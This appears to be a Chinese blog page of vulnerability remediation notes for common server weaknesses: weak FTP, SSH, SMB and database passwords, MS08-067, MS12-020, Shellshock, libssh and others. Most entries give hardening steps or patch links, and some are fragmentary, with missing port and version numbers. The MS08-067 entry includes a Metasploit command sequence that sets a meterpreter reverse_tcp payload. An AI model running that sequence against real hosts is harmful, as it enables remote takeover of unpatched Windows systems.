MS15-011

Date
类型
远程代码执行 前置条件
SMB 影响范围
| 2012R2

FTP弱密码

将FTP服务器的密码更改为强密码
vi /etc/vsftpd/vsftpd.conf
anonymous_enable=NO #禁止匿名登录
重启ftp服务
Windows匿名用户整改参考:
https://www.jb51.net/article/135347.htm

SSH弱密码

修改ssh配置文件:
.修改iptables
首先要过防火墙,修改防火墙规则:
/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport -j ACCEPT
保存规则:
service iptables save
重启防火墙:
service iptables restart .修改ssh配置文件
修改ssh端口:
vim /etc/ssh/sshd_config
在端口#Port 22下面增加Port
vim /etc/ssh/ssh_config
在端口#Port 22下面增加Port
重启ssh服务:
service sshd restart .其他修改
限制用户的SSH访问
假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加
vim /etc/ssh/sshd_config
修改下面一行:
AllowUsers xiaocao homeway

smb弱密码

修复:
Linux服务器:在smb的配置文件(如smb.conf)中的全局配置,如在配置日志文件大小(max log size = **)的下行添加两行security = user 和 valid users = 用户名(多个用户名之间用逗号","隔开,此处的用户应该是所有共享文件夹的所有用户),,若存在map to guest = bad user,将此语句注释掉,保存配置文件,重启smb服务。
windows服务器:禁止ipc$空连接进行枚举,运行regedit,找到如下组键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:

telnet弱密码

ms12-020

安装微软安全补丁KB2621440 

Ms10-070 Padding Oracle 

根据微软更新公告:https://technet.microsoft.com/library/security/ms10-070处理

shell shock破壳

根据Linux操作系统和bash版本版本寻找相应的CVE--6271补丁

mssql/mysql弱密码

配置强密码,或只允许特定IP访问

MS08_067

Date:
2008 类型:
缓冲区溢出导致远程代码执行 影响范围:
修复:
安装微软官网MS08-067补丁https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2008/ms08-067 复现:
前置条件:未安装补丁/445端口开启
(1)msfconsole
(2)use exploit/windows/smb/ms08_067_netapi
(3)set rhost xx.xx.xx.xx
(4)set lhost xx.xx.xx.xx
(5)set payload windows/meterpreter/reverse_tcp
(6)set target 34
(7)run

cve-2018-10933 libssh认证绕过

下载最新的0..6以及0..4版本的libssh并安装

http.sys远程命令执行

微软补丁下载地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034

 dns区域传送

严格限制允许区域传送的主机

最新文章

  1. Asp.Net实现无刷新文件上传并显示进度条(非服务器控件实现)(转)
  2. Java锁 到底锁的是哪个对象?
  3. Eclipse魔法堂:修改主题
  4. Node与Express开发 坑1
  5. sort如何按指定的列排序·百家电脑学院
  6. Python函数返回不定数量的值
  7. 二、urllib进阶
  8. Redis之(七)主从同步与集群管理
  9. android:background="@color/white" [create file color.xml at res/values/]
  10. PHP使用urlencode对中文编码时空格、加号的问题
  11. Hive之SerDe&Beeline
  12. linux获取网络信息函数
  13. makefile解析:一些常用函数
  14. vmware 12 可用 序列号
  15. mybatis xml中返回map 参看aiwanpai
  16. unity 背景无限循环滚动效果
  17. [转载]java日志框架log4j详细配置及与slf4j联合使用教程
  18. Haskell语言学习笔记(58)Bifoldable
  19. java使用DOM操作XML
  20. 【LOJ】#2059. 「TJOI / HEOI2016」字符串

热门文章

  1. HDU 1880 题解(字符串哈希)
  2. 2019 Multi-University Training Contest 2 - 1009 - 回文自动机
  3. 前端写代码自动刷新神器Browsersync
  4. 浅谈原生JavaScript的动画和特效
  5. vue项目中使用高德地图(根据坐标定位点)
  6. Oracle 11g+Windows10 x64安装、配置过程记录
  7. SQLZOO 习题
  8. Oracle11gR2 64bit+Oracle11gR2Client32bit+pl/sql 9
  9. Typescript + TSLint + webpack 搭建 Typescript 的开发环境
  10. thinkphp 模板变量输出替换和赋值